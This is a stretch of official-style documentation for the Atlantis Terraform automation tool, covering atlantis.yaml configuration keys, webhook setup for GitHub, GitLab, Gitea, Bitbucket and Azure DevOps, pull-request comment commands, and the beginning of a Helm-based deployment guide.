Autodiscover can also be configured to skip over directories that match a path glob (as defined by the [doublestar path matching package](https://pkg.go.dev/github.com/bmatcuk/doublestar/v4) ). When `ignore_paths` is set, it applies to: * Automatic project discovery during autoplan and `atlantis plan` (without `-d`) * `atlantis apply` (without `-d`) when filtering pending plans * All targeted `-d` commands (`plan`, `apply`, `import`, `state rm`, etc.) when autodiscovery is enabled, if the path has no explicit project configuration This makes `ignore_paths` useful for **multi-instance setups** where each Atlantis instance manages a different directory subtree. For example, one instance can ignore `environments/prod/**` while another ignores `environments/nonprod/**`, preventing cross-instance interference on targeted commands. ### Custom Backend Config [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#custom-backend-config) See [Custom Workflow Use Cases: Custom Backend Config](https://www.runatlantis.io/docs/custom-workflows#custom-backend-config) Reference [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#reference) --------------------------------------------------------------------------------------- ### Top-Level Keys [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#top-level-keys) yaml version: 3 automerge: false delete_source_branch_on_merge: false projects: workflows: allowed_regexp_prefixes: | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | version | int | none | **yes** | This key is required and must be set to `3`. | | automerge | bool | `false` | no | Automatically merges pull request when all plans are applied. | | delete\_source\_branch\_on\_merge | bool | `false` | no | Automatically deletes the source branch on merge. | | projects | array\[[Project](https://www.runatlantis.io/docs/repo-level-atlantis-yaml#project)
\] | `[]` | no | Lists the projects in this repo. | | workflows
_(restricted)_ | map\[string: [Workflow](https://www.runatlantis.io/docs/custom-workflows#reference)
\] | `{}` | no | Custom workflows. | | allowed\_regexp\_prefixes | array\[string\] | `[]` | no | Lists the allowed regexp prefixes to use when the [`--enable-regexp-cmd`](https://www.runatlantis.io/docs/server-configuration#enable-regexp-cmd)
flag is used. | ### Project [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#project) yaml name: myname branch: /mybranch/ dir: mydir workspace: myworkspace execution_order_group: 0 delete_source_branch_on_merge: false repo_locking: true # deprecated: use repo_locks instead repo_locks: mode: on_plan custom_policy_check: false autoplan: terraform_version: 0.11.0 plan_requirements: ["approved"] apply_requirements: ["approved"] import_requirements: ["approved"] silence_pr_comments: ["apply"] workflow: myworkflow | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | name | string | none | maybe | Required if there is more than one project with the same `dir` and `workspace`. This project name can be used with the `-p` flag. | | branch | string | none | no | Regex matching projects by the base branch of pull request (the branch the pull request is getting merged into). Only projects that match the PR's branch will be considered. By default, all branches are matched. | | dir | string | none | **yes** | The directory of this project relative to the repo root. For example if the project was under `./project1` then use `project1`. Use `.` to indicate the repo root. | | workspace | string | `"default"` | no | The [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces)
for the project. Atlantis switches to it at plan/apply. No `/`, `\\`, `..`, `$`, whitespace or control chars, nor start with `-` or `~`. | | execution\_order\_group | int | `0` | no | Index of execution order group. Projects will be sorted by this field before planning/applying. | | delete\_source\_branch\_on\_merge | bool | `false` | no | Automatically deletes the source branch on merge. | | repo\_locking | bool | `true` | no | (deprecated) Get a repository lock in this project when plan. | | repo\_locks | [RepoLocks](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repolocks) | `mode: on_plan` | no | Get a repository lock in this project on plan or apply. See [RepoLocks](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repolocks)
for more details. | | custom\_policy\_check | bool | `false` | no | Enable using policy check tools other than Conftest | | autoplan | [Autoplan](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#autoplan) | none | no | A custom autoplan configuration. If not specified, will use the autoplan config. See [Autoplanning](https://www.runatlantis.io/docs/autoplanning)
. | | terraform\_version | string | none | no | A specific Terraform version to use when running commands for this project. Must be [Semver compatible](https://semver.org/)
, ex. `v0.11.0`, `0.12.0-beta1`. | | plan\_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis plan` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | apply\_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis apply` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | import\_requirements
_(restricted)_ | array\[string\] | none | no | Requirements that must be satisfied before `atlantis import` can be run. Currently the only supported requirements are `approved`, `mergeable`, and `undiverged`. See [Command Requirements](https://www.runatlantis.io/docs/command-requirements)
for more details. | | silence\_pr\_comments | array\[string\] | none | no | Silence PR comments from defined stages while preserving PR status checks. Supported values are: `plan`, `apply`. | | workflow
_(restricted)_ | string | none | no | A custom workflow. If not specified, Atlantis will use its default workflow. | TIP A project represents a Terraform state. Typically, there is one state per directory and workspace however it's possible to have multiple states in the same directory using `terraform init -backend-config=custom-config.tfvars`. Atlantis supports this but requires the `name` key to be specified. See [Custom Backend Config](https://www.runatlantis.io/docs/custom-workflows#custom-backend-config) for more details. ### Autoplan [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#autoplan) yaml enabled: true when_modified: ["*.tf", "terragrunt.hcl", ".terraform.lock.hcl"] | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | enabled | boolean | `true` | no | Whether autoplanning is enabled for this project. | | when\_modified | array\[string\] | see below | no | Uses [.dockerignore](https://docs.docker.com/engine/reference/builder/#dockerignore-file)
syntax. If any modified file in the pull request matches, this project will be planned. See [Autoplanning](https://www.runatlantis.io/docs/autoplanning)
. Paths are relative to the project's dir. | Default `when_modified` patterns: `["**/*.tf*", "**/*.tofu", "**/*.tofu.json", "**/terragrunt.hcl", "**/.terraform.lock.hcl"]`. Custom `when_modified` values override these defaults entirely. The default is global (not distribution-aware). ### RepoLocks [​](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repolocks) yaml mode: on_apply | Key | Type | Default | Required | Description | | --- | --- | --- | --- | --- | | mode | `Mode` | `on_plan` | no | Whether or not repository locks are enabled for this project on plan or apply. Valid values are `disabled`, `on_plan` and `on_apply`. | --- # Configuring Webhooks | Atlantis [Skip to content](https://www.runatlantis.io/docs/configuring-webhooks.html#VPContent) On this page Configuring Webhooks [​](https://www.runatlantis.io/docs/configuring-webhooks.html#configuring-webhooks) ========================================================================================================= Atlantis needs to receive Webhooks from your Git host so that it can respond to pull request events. Prerequisites * You have created an [access credential](https://www.runatlantis.io/docs/access-credentials) * You have created a [webhook secret](https://www.runatlantis.io/docs/webhook-secrets) * You have [deployed](https://www.runatlantis.io/docs/deployment) Atlantis and have a url for it See the instructions for your specific provider below. GitHub/GitHub Enterprise [​](https://www.runatlantis.io/docs/configuring-webhooks.html#github-github-enterprise) ----------------------------------------------------------------------------------------------------------------- You can install your webhook at the [organization](https://docs.github.com/en/get-started/learning-about-github/types-of-github-accounts) level, or for each individual repository. NOTE If only some of the repos in your organization are to be managed by Atlantis, then you may want to only install on specific repos for now. When authenticating as a GitHub App, Webhooks are automatically created and need no additional setup, beyond being installed to your organization/user account after creation. Refer to the [GitHub App setup](https://www.runatlantis.io/docs/access-credentials#github-app) section for instructions on how to do so. If you're installing on the organization, navigate to your organization's page and click **Settings**. If installing on a single repository, navigate to the repository home page and click **Settings**. * Select **Webhooks** or **Hooks** in the sidebar * Click **Add webhook** * set **Payload URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Content type** to `application/json` * set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * select **Let me select individual events** * check the boxes * **Pull request reviews** * **Pushes** * **Issue comments** * **Pull requests** * leave **Active** checked * click **Add webhook** * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks.html#next-steps) GitLab [​](https://www.runatlantis.io/docs/configuring-webhooks.html#gitlab) ----------------------------------------------------------------------------- If you're using GitLab, navigate to your project's home page in GitLab * Click **Settings > Webhooks** in the sidebar * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Secret Token** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * check the boxes * **Push events** * **Comments** * **Merge Request events** * leave **Enable SSL verification** checked * click **Add webhook** * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks.html#next-steps) Gitea [​](https://www.runatlantis.io/docs/configuring-webhooks.html#gitea) --------------------------------------------------------------------------- If you're using Gitea, navigate to your project's home page in Gitea * Click **Settings > Webhooks** in the top- and then sidebar * Click **Add webhook > Gitea** (Gitea webhooks are service specific, but this works) * set **Target URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * Select **Custom Events...** * Check the boxes * **Repository events > Push** * **Issue events > Issue Comment** * **Pull Request events > Pull Request** * **Pull Request events > Pull Request Comment** * **Pull Request events > Pull Request Reviewed** * **Pull Request events > Pull Request Synchronized** * Leave **Active** checked * Click **Add Webhook** * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks.html#next-steps) Bitbucket Cloud (bitbucket.org) [​](https://www.runatlantis.io/docs/configuring-webhooks.html#bitbucket-cloud-bitbucket-org) ----------------------------------------------------------------------------------------------------------------------------- * Go to your repo's home page * Click **Settings** in the sidebar * Click **Webhooks** under the **WORKFLOW** section * Click **Add webhook** * Enter "Atlantis" for **Title** * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * double-check you added `/events` to the end of your URL. * Keep **Status** as Active * Don't check **Skip certificate validation** because NGROK has a valid cert. * Select **Choose from a full list of triggers** * Under **Repository** **un**check everything * Under **Issues** leave everything **un**checked * Under **Pull Request**, select: Created, Updated, Merged, Declined and Comment created * Click **Save**![Bitbucket Webhook](https://www.runatlantis.io/assets/bitbucket-webhook.CpvB00xz.png) * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks.html#next-steps) Bitbucket Server (aka Stash) [​](https://www.runatlantis.io/docs/configuring-webhooks.html#bitbucket-server-aka-stash) ----------------------------------------------------------------------------------------------------------------------- * Go to your repo's home page * Click **Settings** in the sidebar * Click **Webhooks** under the **WORKFLOW** section * Click **Create webhook** * Enter "Atlantis" for **Name** * set **URL** to `http://$URL/events` (or `https://$URL/events` if you're using SSL) where `$URL` is where Atlantis is hosted. **Be sure to add `/events`** * Double-check you added `/events` to the end of your URL. * Set **Secret** to the Webhook Secret you generated previously * **NOTE** If you're adding a webhook to multiple repositories, each repository will need to use the **same** secret. * Under **Pull Request**, select: Opened, Source branch updated, Merged, Declined, Deleted and Comment added * Click **Save**![Bitbucket Webhook](https://www.runatlantis.io/assets/bitbucket-server-webhook.C4EB06Dj.png) * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks.html#next-steps) Azure DevOps [​](https://www.runatlantis.io/docs/configuring-webhooks.html#azure-devops) ----------------------------------------------------------------------------------------- Webhooks are installed at the [team project](https://docs.microsoft.com/en-us/azure/devops/organizations/projects/about-projects?view=azure-devops) level, but may be restricted to only fire based on events pertaining to [specific repos](https://docs.microsoft.com/en-us/azure/devops/service-hooks/services/webhooks?view=azure-devops) within the team project. * Navigate anywhere within a team project, ie: `https://dev.azure.com/orgName/projectName/_git/repoName` * Select **Project settings** in the lower-left corner * Select **Service hooks** * If you see the message "You do not have sufficient permissions to view or configure subscriptions." you need to ensure your user is a member of either the organization's "Project Collection Administrators" group or the project's "Project Administrators" group. * To add your user to the Project Collection Build Administrators group, navigate to the organization level, click **Organization Settings** and then click **Permissions**. You should be at `https://dev.azure.com//_settings/groups`. Now click on the **/Project Collection Administrators** group and add your user as a member. * To add your user to the Project Administrators group, navigate to the project level, click **Project Settings** and then click **Permissions**. You should be at `https://dev.azure.com///_settings/permissions`. Now click on the **/Project Administrators** group and add your user as a member. * Click **Create subscription** or the green plus icon to add a new webhook * Scroll to the bottom of the list and select **Web Hooks** * Click **Next** * Under "Trigger on this type of event", select **Pull request created** * Optionally, select a repository under **Filters** to restrict the scope of this webhook subscription to a specific repository * Click **Next** * Set **URL** to `http://$URL/events` where `$URL` is where Atlantis is hosted. Note that SSL, or `https://$URL/events`, is required if you set a Basic username and password for the webhook. **Be sure to add `/events`** * It is strongly recommended to set a Basic Username and Password for all webhooks * Leave all three drop-down menus for `...to send` set to **All** * Resource version should be set to **1.0** for `Pull request created` and `Pull request updated` event types and **2.0** for `Pull request commented on` * **NOTE** If you're adding a webhook to multiple team projects or repositories (using filters), each repository will need to use the **same** basic username and password. * Click **Finish** Repeat the process above until you have webhook subscriptions for the following event types that will trigger on all repositories Atlantis will manage: * Pull request created (you just added this one) * Pull request updated * Pull request commented on * See [Next Steps](https://www.runatlantis.io/docs/configuring-webhooks.html#next-steps) Next Steps [​](https://www.runatlantis.io/docs/configuring-webhooks.html#next-steps) ------------------------------------------------------------------------------------- * To verify that Atlantis is receiving your webhooks, create a test pull request to your repo. * You should see the request show up in the Atlantis logs at an `INFO` level. * You'll now need to configure Atlantis to add your [Provider Credentials](https://www.runatlantis.io/docs/provider-credentials) --- # How Atlantis Works | Atlantis [Skip to content](https://www.runatlantis.io/docs/how-atlantis-works.html#VPContent) Return to top How Atlantis Works [​](https://www.runatlantis.io/docs/how-atlantis-works.html#how-atlantis-works) =================================================================================================== This section of docs talks about how Atlantis works at a deeper level. * [Locking](https://www.runatlantis.io/docs/locking) * [Autoplanning](https://www.runatlantis.io/docs/autoplanning) * [Automerging](https://www.runatlantis.io/docs/automerging) * [Security](https://www.runatlantis.io/docs/security) --- # Using Atlantis | Atlantis [Skip to content](https://www.runatlantis.io/docs/using-atlantis.html#VPContent) On this page Using Atlantis [​](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) ======================================================================================= Atlantis triggers commands via pull request comments. ![Help Command](https://www.runatlantis.io/assets/pr-comment-help.K9TqjMu8.png) TIP You can use the following executable names. * `atlantis help` * `atlantis` is executable name. You can configure by [Executable Name](https://www.runatlantis.io/docs/server-configuration#executable-name) . * `run help` * `run` is a global executable name. * `@GithubUser help` * `@GithubUser` is the VCS host user which you connected to Atlantis by user token. Currently, Atlantis supports the following commands. * * * atlantis help [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-help) ------------------------------------------------------------------------------------- bash atlantis help ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation) View help * * * atlantis version [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-version) ------------------------------------------------------------------------------------------- bash atlantis version ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-1) Print the output of 'terraform version'. * * * atlantis plan [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-plan) ------------------------------------------------------------------------------------- bash atlantis plan [options] -- [terraform plan flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-2) Runs `terraform plan` on the pull request's branch. You may wish to re-run plan after Atlantis has already done so if you've changed some resources manually. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis.html#examples) bash # Runs plan for any projects that Atlantis thinks were modified. # If an `atlantis.yaml` file is specified, runs plan on the projects that # were modified as determined by the `when_modified` config. atlantis plan # Runs plan in the root directory of the repo with workspace `default`. atlantis plan -d . # Runs plan in the `project1` directory of the repo with workspace `default` atlantis plan -p project1 # Runs plan in the root directory of the repo with workspace `staging` atlantis plan -w staging ### Options [​](https://www.runatlantis.io/docs/using-atlantis.html#options) * `-d directory` Which directory to run plan in relative to root of repo. Use `.` for root. * Ex. `atlantis plan -d child/dir` * `-p project` Which project to run plan for. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) . Cannot be used at same time as `-d` or `-w` because the project defines this already. * `-w workspace` Switch to this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) before planning. Defaults to `default`. Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or `~`. * `--verbose` Append Atlantis log to comment. NOTE An `atlantis plan` (without flags), like autoplans, discards all plans previously created with `atlantis plan` `-p`/`-d`/`-w` ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis.html#additional-terraform-flags) If `terraform plan` requires additional arguments, like `-target=resource` or `-var 'foo=bar'` or `-var-file myfile.tfvars` you can append them to the end of the comment after `--`, ex. shell atlantis plan -d dir -- -var foo='bar' If you always need to append a certain flag, see [Custom Workflow Use Cases](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) . ### Automatic Environment Variable Files [​](https://www.runatlantis.io/docs/using-atlantis.html#automatic-environment-variable-files) Atlantis automatically includes workspace-specific variable files if they exist in your repository. This feature helps reduce duplication across different environments and workspaces. #### How it works [​](https://www.runatlantis.io/docs/using-atlantis.html#how-it-works) When running `atlantis plan`, Atlantis automatically checks for a file at `env/{workspace}.tfvars` relative to the project directory. If this file exists, Atlantis will automatically include it using the `-var-file` flag. #### Examples [​](https://www.runatlantis.io/docs/using-atlantis.html#examples-1) plain my-terraform-project/ ├── main.tf ├── variables.tf └── env/ ├── default.tfvars ├── staging.tfvars └── production.tfvars When you run: * `atlantis plan` (uses default workspace) automatically includes `env/default.tfvars` * `atlantis plan -w staging` automatically includes `env/staging.tfvars` * `atlantis plan -w production` automatically includes `env/production.tfvars` TIP This feature works for any workspace name. If you have a custom workspace called `dev-team-1`, Atlantis will look for `env/dev-team-1.tfvars`. ### Using the -destroy Flag [​](https://www.runatlantis.io/docs/using-atlantis.html#using-the-destroy-flag) #### Example [​](https://www.runatlantis.io/docs/using-atlantis.html#example) To perform a destructive plan that will destroy resources you can use the `-destroy` flag like this: bash atlantis plan -- -destroy atlantis plan -d dir -- -destroy NOTE The `-destroy` flag generates a destroy plan. If this plan is applied it can result in data loss or service disruptions. Ensure that you have thoroughly reviewed your Terraform configuration and intend to remove the specified resources before using this flag. * * * atlantis apply [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-apply) --------------------------------------------------------------------------------------- bash atlantis apply [options] -- [terraform apply flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-3) Runs `terraform apply` for the plan that matches the directory/project/workspace. TIP If no directory/project/workspace is specified, ex. `atlantis apply`, this command will apply **all unapplied plans from this pull request**. This includes all projects that have been planned manually with `atlantis plan` `-p`/`-d`/`-w` since the last autoplan or `atlantis plan` command. For Atlantis commands to work, Atlantis needs to know the location where the plan file is. For that, you can use $PLANFILE which will contain the path of the plan file to be used in your custom steps. i.e `terraform plan -out $PLANFILE` ### Examples [​](https://www.runatlantis.io/docs/using-atlantis.html#examples-2) bash # Runs apply for all unapplied plans from this pull request. atlantis apply # Runs apply in the root directory of the repo with workspace `default`. atlantis apply -d . # Runs apply in the `project1` directory of the repo with workspace `default` atlantis apply -p project1 # Runs apply in the root directory of the repo with workspace `staging` atlantis apply -w staging ### Options [​](https://www.runatlantis.io/docs/using-atlantis.html#options-1) * `-d directory` Apply the plan for this directory, relative to root of repo. Use `.` for root. * `-p project` Apply the plan for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml` file](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) . Cannot be used at same time as `-d` or `-w`. * `-w workspace` Apply the plan for this [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) . Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or `~`. * `--auto-merge-disabled` Disable [automerge](https://www.runatlantis.io/docs/automerging) for this apply command. * `--auto-merge-method method` Specify which [merge method](https://www.runatlantis.io/docs/automerging#how-to-set-the-merge-method-for-automerge) use for the apply command if [automerge](https://www.runatlantis.io/docs/automerging) is enabled. Implemented only for GitHub. * `--verbose` Append Atlantis log to comment. ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis.html#additional-terraform-flags-1) Because Atlantis under the hood is running `terraform apply plan.tfplan`, any Terraform options that would change the `plan` are ignored, ex: * `-target=resource` * `-var 'foo=bar'` * `-var-file=myfile.tfvars` They're ignored because they can't be specified for an already generated planfile. If you would like to specify these flags, do it while running `atlantis plan`. TIP The automatic `env/{workspace}.tfvars` file inclusion happens during the `atlantis plan` phase. Since `atlantis apply` uses the already-generated plan file, any environment-specific variables are already incorporated from when the plan was created. * * * Atlantis cancel [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-cancel) ----------------------------------------------------------------------------------------- bash atlantis cancel ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-4) Cancels all **queued commands** for the current pull request. NOTE This command **does not** attempt to stop or interrupt commands that are already running. It only removes subsequent commands that are waiting in the queue. There is currently no mechanism in Atlantis to interrupt the currently running process. This is useful if you have multiple commands queued (e.g., atlantis apply for several projects) and you realize you made a mistake in your PR. Using cancel prevents the queued plans from executing. Especially with long-running operations, this can save time and resources. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis.html#examples-3) bash # An apply is currently running, and another is queued. # This command will cancel the queued apply but not the running one. atlantis cancel * * * atlantis import [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-import) ----------------------------------------------------------------------------------------- bash atlantis import [options] ADDRESS ID -- [terraform import flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-5) Runs `terraform import` that matches the directory/project/workspace. This command discards the terraform plan result. After an import and before an apply, another `atlantis plan` must be run again. To allow the `import` command requires [\--allow-commands](https://www.runatlantis.io/docs/server-configuration#allow-commands) configuration. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis.html#examples-4) bash # Runs import atlantis import ADDRESS ID # Runs import in the root directory of the repo with workspace `default` atlantis import -d . ADDRESS ID # Runs import in the `project1` directory of the repo with workspace `default` atlantis import -p project1 ADDRESS ID # Runs import in the root directory of the repo with workspace `staging` atlantis import -w staging ADDRESS ID TIP * When importing `for_each` resources, a single quoted address is required. * ex. `atlantis import 'aws_instance.example["foo"]' i-1234567890abcdef0` ### Options [​](https://www.runatlantis.io/docs/using-atlantis.html#options-2) * `-d directory` Import a resource for this directory, relative to root of repo. Use `.` for root. * `-p project` Import a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) repo configuration file. This cannot be used at the same time as `-d` or `-w`. * `-w workspace` Import a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) . Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or `~`. ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis.html#additional-terraform-flags-2) If `terraform import` requires additional arguments, like `-var 'foo=bar'` or `-var-file myfile.tfvars` append them to the end of the comment after `--`, e.g. shell atlantis import -d dir 'aws_instance.example["foo"]' i-1234567890abcdef0 -- -var foo='bar' If a flag is needed to be always appended, see [Custom Workflow Use Cases](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) . * * * atlantis state rm [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-state-rm) --------------------------------------------------------------------------------------------- bash atlantis state [options] rm ADDRESS... -- [terraform state rm flags] ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-6) Runs `terraform state rm` that matches the directory/project/workspace. This command discards the terraform plan result. After running `state rm` and before an apply, another `atlantis plan` must be run again. To allow the `state` command requires [\--allow-commands](https://www.runatlantis.io/docs/server-configuration#allow-commands) configuration. ### Examples [​](https://www.runatlantis.io/docs/using-atlantis.html#examples-5) bash # Runs state rm atlantis state rm ADDRESS1 ADDRESS2 # Runs state rm in the root directory of the repo with workspace `default` atlantis state -d . rm ADDRESS # Runs state rm in the `project1` directory of the repo with workspace `default` atlantis state -p project1 rm ADDRESS # Runs state rm in the root directory of the repo with workspace `staging` atlantis state -w staging rm ADDRESS TIP * When running `state rm` on `for_each` resources, a single quoted address is required. * ex. `atlantis state rm 'aws_instance.example["foo"]'` ### Options [​](https://www.runatlantis.io/docs/using-atlantis.html#options-3) * `-d directory` Run state rm a resource for this directory, relative to root of repo. Use `.` for root. * `-p project` Run state rm a resource for this project. Refers to the name of the project configured in the repo's [`atlantis.yaml`](https://www.runatlantis.io/docs/repo-level-atlantis-yaml) repo configuration file. This cannot be used at the same time as `-d` or `-w`. * `-w workspace` Run state rm a resource for a specific [Terraform workspace](https://developer.hashicorp.com/terraform/language/state/workspaces) . Ignore this if Terraform workspaces are unused. Workspace names cannot contain `/`, `\\`, `..`, `$`, whitespace or control characters, and cannot start with `-` or `~`. ### Additional Terraform flags [​](https://www.runatlantis.io/docs/using-atlantis.html#additional-terraform-flags-3) If `terraform state rm` requires additional arguments, like `-lock=false'` append them to the end of the comment after `--`, e.g. shell atlantis state -d dir rm 'aws_instance.example["foo"]' -- -lock=false If a flag is needed to be always appended, see [Custom Workflow Use Cases](https://www.runatlantis.io/docs/custom-workflows#adding-extra-arguments-to-terraform-commands) . * * * atlantis unlock [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-unlock) ----------------------------------------------------------------------------------------- bash atlantis unlock ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-7) Removes all atlantis locks and discards all plans for this PR. To unlock a specific plan you can use the Atlantis UI. * * * atlantis approve\_policies [​](https://www.runatlantis.io/docs/using-atlantis.html#atlantis-approve-policies) -------------------------------------------------------------------------------------------------------------- bash atlantis approve_policies ### Explanation [​](https://www.runatlantis.io/docs/using-atlantis.html#explanation-8) Approves all current policy checking failures for the PR. See also [policy checking](https://www.runatlantis.io/docs/policy-checking) . ### Options [​](https://www.runatlantis.io/docs/using-atlantis.html#options-4) * `--verbose` Append Atlantis log to comment. * * * API-Based Workflows [​](https://www.runatlantis.io/docs/using-atlantis.html#api-based-workflows) ------------------------------------------------------------------------------------------------- In addition to pull request comments, Atlantis supports API-based workflows for plan, apply, and drift detection. These endpoints allow external tools and automation to interact with Atlantis programmatically. Key capabilities: * **Plan and Apply** without a pull request (`POST /api/plan`, `POST /api/apply`) * **Drift Detection** to identify infrastructure changes outside of Terraform (`POST /api/drift/detect`) * **Drift Status** to view cached drift results (`GET /api/drift/status`) * **Drift Remediation** to fix detected drift (`POST /api/drift/remediate`) See [API Endpoints](https://www.runatlantis.io/docs/api-endpoints) for full documentation and [Server Configuration](https://www.runatlantis.io/docs/server-configuration) for the `--enable-drift-detection` flag. --- # Deployment | Atlantis [Skip to content](https://www.runatlantis.io/docs/deployment.html#VPContent) On this page Deployment [​](https://www.runatlantis.io/docs/deployment.html#deployment) =========================================================================== This page covers getting Atlantis up and running in your infrastructure. Prerequisites * You have created [access credentials](https://www.runatlantis.io/docs/access-credentials) for your Atlantis user * You have created a [webhook secret](https://www.runatlantis.io/docs/webhook-secrets) Architecture Overview [​](https://www.runatlantis.io/docs/deployment.html#architecture-overview) ------------------------------------------------------------------------------------------------- ### Runtime [​](https://www.runatlantis.io/docs/deployment.html#runtime) Atlantis is a simple [Go](https://golang.org/) app. It receives webhooks from your Git host and executes Terraform commands locally. There is an official Atlantis [Docker image](https://ghcr.io/runatlantis/atlantis) . ### Routing [​](https://www.runatlantis.io/docs/deployment.html#routing) Atlantis and your Git host need to be able to route and communicate with one another. Your Git host needs to be able to send webhooks to Atlantis and Atlantis needs to be able to make API calls to your Git host. If you're using a public Git host like github.com, gitlab.com, gitea.com, bitbucket.org, or dev.azure.com then you'll need to expose Atlantis to the internet. If you're using a private Git host like GitHub Enterprise, GitLab Enterprise, self-hosted Gitea or Bitbucket Server, then Atlantis needs to be routable from the private host and Atlantis will need to be able to route to the private host. ### Data [​](https://www.runatlantis.io/docs/deployment.html#data) Atlantis has no external database. Atlantis stores Terraform plan files on disk. If Atlantis loses that data in between a `plan` and `apply` cycle, then users will have to re-run `plan`. Because of this, you may want to provision a persistent disk for Atlantis. Deployment [​](https://www.runatlantis.io/docs/deployment.html#deployment-1) ----------------------------------------------------------------------------- Pick your deployment type: * [Kubernetes Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) * [Kubernetes Manifests](https://www.runatlantis.io/docs/deployment.html#kubernetes-manifests) * [Kubernetes Kustomize](https://www.runatlantis.io/docs/deployment.html#kubernetes-kustomize) * [OpenShift](https://www.runatlantis.io/docs/deployment.html#openshift) * [AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) * [Google Kubernetes Engine (GKE)](https://www.runatlantis.io/docs/deployment.html#google-kubernetes-engine-gke) * [Docker](https://www.runatlantis.io/docs/deployment.html#docker) * [Roll Your Own](https://www.runatlantis.io/docs/deployment.html#roll-your-own) ### Kubernetes Helm Chart [​](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) Atlantis has an [official Helm chart](https://github.com/runatlantis/helm-charts/tree/main/charts/atlantis) To install: 1. Add the runatlantis helm chart repository to helm bash helm repo add runatlantis https://runatlantis.github.io/helm-charts 2. `cd` into a directory where you're going to configure your Atlantis Helm chart 3. Create a `values.yaml` file by running bash helm inspect values runatlantis/atlantis > values.yaml 4. Edit `values.yaml` and add your access credentials and webhook secret yaml # for example github: user: foo token: bar secret: baz 5. Edit `values.yaml` and set your `orgAllowlist` (see [Repo Allowlist](https://www.runatlantis.io/docs/server-configuration#repo-allowlist) for more information) yaml orgAllowlist: github.com/runatlantis/* 